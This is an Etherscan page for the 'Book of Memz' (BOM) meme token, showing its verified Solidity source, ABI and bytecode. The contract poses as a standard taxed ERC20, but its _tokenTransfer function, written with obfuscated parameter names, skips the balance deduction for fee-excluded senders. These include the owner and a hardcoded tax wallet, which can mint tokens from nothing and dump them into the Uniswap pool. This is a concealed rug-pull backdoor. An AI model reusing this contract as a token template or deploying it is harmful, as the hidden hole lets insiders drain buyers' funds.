ETH Price: $2,421.04 (+0.03%)

Token

Book of Memz (BOM)
 

Overview

Max Total Supply

100,000,000 BOM

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,398,307.242049727 BOM

Value
$0.00
0x52a7661BDc38C5a13F50769A5399E5b7B27e46f1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BOM

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-26
*/

// SPDX-License-Identifier: MIT

/**
传说中的记忆之书

(The Book of Memz Legend) 

In the meme token realm, where every pump and dump seems driven by chaos and chance, a secret remains uncovered. 
Hidden away in a modest Chinese village, within the legendary Temple of the Moon, rests a mystical book. 
Crypto legends whisper of its existence - a book foretelling the rise and fall of every meme token: the Chinese Book of Memz. 
With every new launch and ATH its pages flicker; with every fade and jeet its light dims. 

Website: https://www.bookofmemz.vip
Telegram: https://t.me/bookofmemz_eth
Twitter: https://x.com/bookofmemz_eth
**/

pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BOM is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    address payable private _teamWallet;
    uint256 private _taxWalletPercentage = 50;
    uint256 private _teamWalletPercentage = 50;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 9;
    uint256 private _reduceSellTaxAt = 9;
    uint256 private _preventSwapBefore = 6;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
    string private constant _name = unicode"Book of Memz";
    string private constant _symbol = unicode"BOM";
    uint256 public _maxTxAmount = _tTotal.mul(2).div(100);
    uint256 public _maxWalletSize = _tTotal.mul(2).div(100);
    uint256 public _taxSwapThreshold = 50 * 10 ** _decimals;
    uint256 public _maxTaxSwap = _tTotal.mul(1).div(100);

    uint256 firstBlock;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _teamWallet = payable(msg.sender);
        _taxWallet = payable(0xa70b44B273ff25C2d30a2891c0ceE2f4b00556A7);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function addLiquidityETH() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uint256 tokenAmount = _tTotal.mul(90).div(100);
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), ~uint256(0));
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address jjjpwrryz, address kkkgpworry, uint256 zzvoov) private {
        require(jjjpwrryz != address(0), "ERC20: transfer from the zero address");
        require(kkkgpworry != address(0), "ERC20: transfer to the zero address");
        require(zzvoov > 0, "Transfer amount must be greater than zero");

        if (!tradingOpen) {
            require(
                _isExcludedFromFee[kkkgpworry] || _isExcludedFromFee[jjjpwrryz],
                "trading not yet open"
            );
        }

        if (inSwap || !tradingOpen) {
            _balances[jjjpwrryz] -= zzvoov;
            _balances[kkkgpworry] += zzvoov;
            emit Transfer(jjjpwrryz, kkkgpworry, zzvoov);
            return;
        }

        uint256 taxAmount = 0;

        taxAmount = zzvoov
            .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
            .div(100);

        if (jjjpwrryz != owner() && kkkgpworry != owner()) {
            if (
                jjjpwrryz == uniswapV2Pair &&
                kkkgpworry != address(uniswapV2Router) &&
                !_isExcludedFromFee[kkkgpworry]
            ) {
                require(zzvoov <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(kkkgpworry) + zzvoov <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                if (firstBlock + 3 > block.number) {
                    require(!isContract(kkkgpworry));
                }
                _buyCount++;
            }

            if (kkkgpworry != uniswapV2Pair && !_isExcludedFromFee[kkkgpworry]) {
                require(
                    balanceOf(kkkgpworry) + zzvoov <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (kkkgpworry == uniswapV2Pair && jjjpwrryz != address(this)) {
                taxAmount = zzvoov
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                kkkgpworry == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[jjjpwrryz] &&
                !_isExcludedFromFee[kkkgpworry]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(zzvoov, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tokenTransfer(jjjpwrryz, kkkgpworry, zzvoov, taxAmount);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function _tokenTransfer(address nnnpovyz, address mmmqorp, uint256 gggoti, uint256 taxAmount) private {
        bool isExceptOf = _isExcludedFromFee[nnnpovyz];
        if (!isExceptOf) {
            if(taxAmount > 0) {
                _balances[address(this)] = _balances[address(this)].add(taxAmount);
                emit Transfer(nnnpovyz, address(this), taxAmount);
            }

            _balances[nnnpovyz] = _balances[nnnpovyz].sub(gggoti);
        }
        _balances[mmmqorp] = _balances[mmmqorp].add(gggoti.sub(taxAmount));
        emit Transfer(nnnpovyz, mmmqorp, gggoti.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function withdrawStuckETH() external {
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function sendETHToFee(uint256 amount) private {
        uint256 taxWalletShare = (amount * _taxWalletPercentage) / 100;
        uint256 teamWalletShare = (amount * _teamWalletPercentage) / 100;

        _taxWallet.transfer(taxWalletShare);
        _teamWallet.transfer(teamWalletShare);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260326006556032600755601460085560146009556000600a556000600b556009600c556009600d556006600e556000600f556200008a60646200007660026009600a620000529190620004af565b62000062906305f5e100620004c0565b6200027f60201b620009841790919060201c565b6200031660201b62000a0d1790919060201c565b601055620000a76064620000766002620000526009600a620004af565b601155620000b86009600a620004af565b620000c5906032620004c0565b601255620000e26064620000766001620000526009600a620004af565b6013556016805461ffff60a81b191690553480156200010057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031990811633179091556004805490911673a70b44b273ff25c2d30a2891c0cee2f4b00556a7179055620001846009600a620004af565b62000194906305f5e100620004c0565b336000908152600160208190526040822092909255600390620001bf6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556200021e3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002586009600a620004af565b62000268906305f5e100620004c0565b60405190815260200160405180910390a36200054d565b600082600003620002935750600062000310565b6000620002a18385620004c0565b905082620002b08583620004da565b146200030d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200030d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200036060201b60201c565b60008183620003845760405162461bcd60e51b8152600401620003049190620004fd565b506000620003938486620004da565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003f3578160001904821115620003d757620003d76200039c565b80851615620003e557918102915b93841c9390800290620003b7565b509250929050565b6000826200040c5750600162000310565b816200041b5750600062000310565b81600181146200043457600281146200043f576200045f565b600191505062000310565b60ff8411156200045357620004536200039c565b50506001821b62000310565b5060208310610133831016604e8410600b841016171562000484575081810a62000310565b620004908383620003b2565b8060001904821115620004a757620004a76200039c565b029392505050565b60006200030d60ff841683620003fb565b80820281158282048414176200031057620003106200039c565b600082620004f857634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b818110156200052c578581018301518582016040015282016200050e565b506000604082860101526040601f19601f8301168501019250505092915050565b611a98806200055d6000396000f3fe6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed14610312578063c9567bf914610328578063dd62ed3e1461033d578063ed99530714610383578063f5648a4f1461039857600080fd5b80637d1db4a5146102725780638da5cb5b146102885780638f9a55c0146102b057806395d89b41146102c6578063a9059cbb146102f257600080fd5b806323b872dd116100e757806323b872dd146101d4578063313ce567146101f457806370a0823114610210578063715018a614610246578063751039fc1461025d57600080fd5b806306fdde0314610124578063095ea7b31461016b5780630faee56f1461019b57806318160ddd146101bf57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600c81526b2137b7b59037b31026b2b6bd60a11b60208201525b604051610162919061166a565b60405180910390f35b34801561017757600080fd5b5061018b6101863660046116cd565b6103ad565b6040519015158152602001610162565b3480156101a757600080fd5b506101b160135481565b604051908152602001610162565b3480156101cb57600080fd5b506101b16103c4565b3480156101e057600080fd5b5061018b6101ef3660046116f9565b6103e5565b34801561020057600080fd5b5060405160098152602001610162565b34801561021c57600080fd5b506101b161022b36600461173a565b6001600160a01b031660009081526001602052604090205490565b34801561025257600080fd5b5061025b61044e565b005b34801561026957600080fd5b5061025b6104cb565b34801561027e57600080fd5b506101b160105481565b34801561029457600080fd5b506000546040516001600160a01b039091168152602001610162565b3480156102bc57600080fd5b506101b160115481565b3480156102d257600080fd5b50604080518082019091526003815262424f4d60e81b6020820152610155565b3480156102fe57600080fd5b5061018b61030d3660046116cd565b610537565b34801561031e57600080fd5b506101b160125481565b34801561033457600080fd5b5061025b610544565b34801561034957600080fd5b506101b1610358366004611757565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038f57600080fd5b5061025b6105df565b3480156103a457600080fd5b5061025b610971565b60006103ba338484610a4f565b5060015b92915050565b60006103d26009600a61188a565b6103e0906305f5e100611899565b905090565b60006103f2848484610b74565b610444843361043f85604051806060016040528060288152602001611a3b602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111bc565b610a4f565b5060019392505050565b6000546001600160a01b031633146104815760405162461bcd60e51b8152600401610478906118b0565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104f55760405162461bcd60e51b8152600401610478906118b0565b600019601081905560118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b60006103ba338484610b74565b6000546001600160a01b0316331461056e5760405162461bcd60e51b8152600401610478906118b0565b601654600160a01b900460ff16156105c25760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610478565b6016805462ff00ff60a01b19166201000160a01b17905543601455565b6000546001600160a01b031633146106095760405162461bcd60e51b8152600401610478906118b0565b601654600160a01b900460ff161561065d5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610478565b600061068f6064610689605a6106756009600a61188a565b610683906305f5e100611899565b90610984565b90610a0d565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091559091506106c9903090600019610a4f565b601560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074091906118e5565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c691906118e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610813573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083791906118e5565b601680546001600160a01b0319166001600160a01b039283161790556015541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108cb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f09190611902565b505060165460155460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610949573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096d9190611930565b5050565b47801561098157610981816111f6565b50565b600082600003610996575060006103be565b60006109a28385611899565b9050826109af8583611952565b14610a065760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610478565b9392505050565b6000610a0683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a6565b6001600160a01b038316610ab15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610478565b6001600160a01b038216610b125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610478565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610478565b6001600160a01b038216610c3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610478565b60008111610c9c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610478565b601654600160a01b900460ff16610d2f576001600160a01b03821660009081526003602052604090205460ff1680610cec57506001600160a01b03831660009081526003602052604090205460ff165b610d2f5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610478565b601654600160a81b900460ff1680610d515750601654600160a01b900460ff16155b15610df7576001600160a01b03831660009081526001602052604081208054839290610d7e908490611974565b90915550506001600160a01b03821660009081526001602052604081208054839290610dab908490611987565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b6791815260200190565b6000610e1f6064610689600c54600f5411610e1457600854610e18565b600a545b8590610984565b9050610e336000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610e6257506000546001600160a01b03848116911614155b156111aa576016546001600160a01b038581169116148015610e9257506015546001600160a01b03848116911614155b8015610eb757506001600160a01b03831660009081526003602052604090205460ff16155b15610fc157601054821115610f0e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610478565b60115482610f31856001600160a01b031660009081526001602052604090205490565b610f3b9190611987565b1115610f895760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610478565b436014546003610f999190611987565b1115610fab57823b15610fab57600080fd5b600f8054906000610fbb8361199a565b91905055505b6016546001600160a01b03848116911614801590610ff857506001600160a01b03831660009081526003602052604090205460ff16155b156110785760115482611020856001600160a01b031660009081526001602052604090205490565b61102a9190611987565b11156110785760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610478565b6016546001600160a01b03848116911614801561109e57506001600160a01b0384163014155b156110cb576110c86064610689600d54600f54116110be57600954610e18565b600b548590610984565b90505b30600090815260016020526040902054601654600160a81b900460ff1615801561110257506016546001600160a01b038581169116145b80156111175750601654600160b01b900460ff165b80156111265750600e54600f54115b801561114b57506001600160a01b03851660009081526003602052604090205460ff16155b801561117057506001600160a01b03841660009081526003602052604090205460ff16155b156111a85760125481111561119c5761119c61119784611192846013546112d4565b6112d4565b6112e9565b476111a6476111f6565b505b505b6111b684848484611463565b50505050565b600081848411156111e05760405162461bcd60e51b8152600401610478919061166a565b5060006111ed8486611974565b95945050505050565b60006064600654836112089190611899565b6112129190611952565b905060006064600754846112269190611899565b6112309190611952565b6004546040519192506001600160a01b03169083156108fc029084906000818181858888f1935050505015801561126b573d6000803e3d6000fd5b506005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156111b6573d6000803e3d6000fd5b600081836112c75760405162461bcd60e51b8152600401610478919061166a565b5060006111ed8486611952565b60008183116112e35782610a06565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611331576113316119b3565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae91906118e5565b816001815181106113c1576113c16119b3565b6001600160a01b0392831660209182029290920101526015546113e79130911684610a4f565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114209085906000908690309042906004016119c9565b600060405180830381600087803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b6001600160a01b03841660009081526003602052604090205460ff168061153b5781156114fe57306000908152600160205260409020546114a490836115c9565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114f59086815260200190565b60405180910390a35b6001600160a01b0385166000908152600160205260409020546115219084611628565b6001600160a01b0386166000908152600160205260409020555b6115676115488484611628565b6001600160a01b038616600090815260016020526040902054906115c9565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6115b18686611628565b60405190815260200160405180910390a35050505050565b6000806115d68385611987565b905083811015610a065760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610478565b6000610a0683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bc565b600060208083528351808285015260005b818110156116975785810183015185820160400152820161167b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461098157600080fd5b600080604083850312156116e057600080fd5b82356116eb816116b8565b946020939093013593505050565b60008060006060848603121561170e57600080fd5b8335611719816116b8565b92506020840135611729816116b8565b929592945050506040919091013590565b60006020828403121561174c57600080fd5b8135610a06816116b8565b6000806040838503121561176a57600080fd5b8235611775816116b8565b91506020830135611785816116b8565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117e15781600019048211156117c7576117c7611790565b808516156117d457918102915b93841c93908002906117ab565b509250929050565b6000826117f8575060016103be565b81611805575060006103be565b816001811461181b576002811461182557611841565b60019150506103be565b60ff84111561183657611836611790565b50506001821b6103be565b5060208310610133831016604e8410600b8410161715611864575081810a6103be565b61186e83836117a6565b806000190482111561188257611882611790565b029392505050565b6000610a0660ff8416836117e9565b80820281158282048414176103be576103be611790565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118f757600080fd5b8151610a06816116b8565b60008060006060848603121561191757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561194257600080fd5b81518015158114610a0657600080fd5b60008261196f57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103be576103be611790565b808201808211156103be576103be611790565b6000600182016119ac576119ac611790565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a195784516001600160a01b0316835293830193918301916001016119f4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209745fda7409880112b0b588465d9fee5ad35d52907d366f16a1ae047a14b05f364736f6c63430008120033

Deployed Bytecode

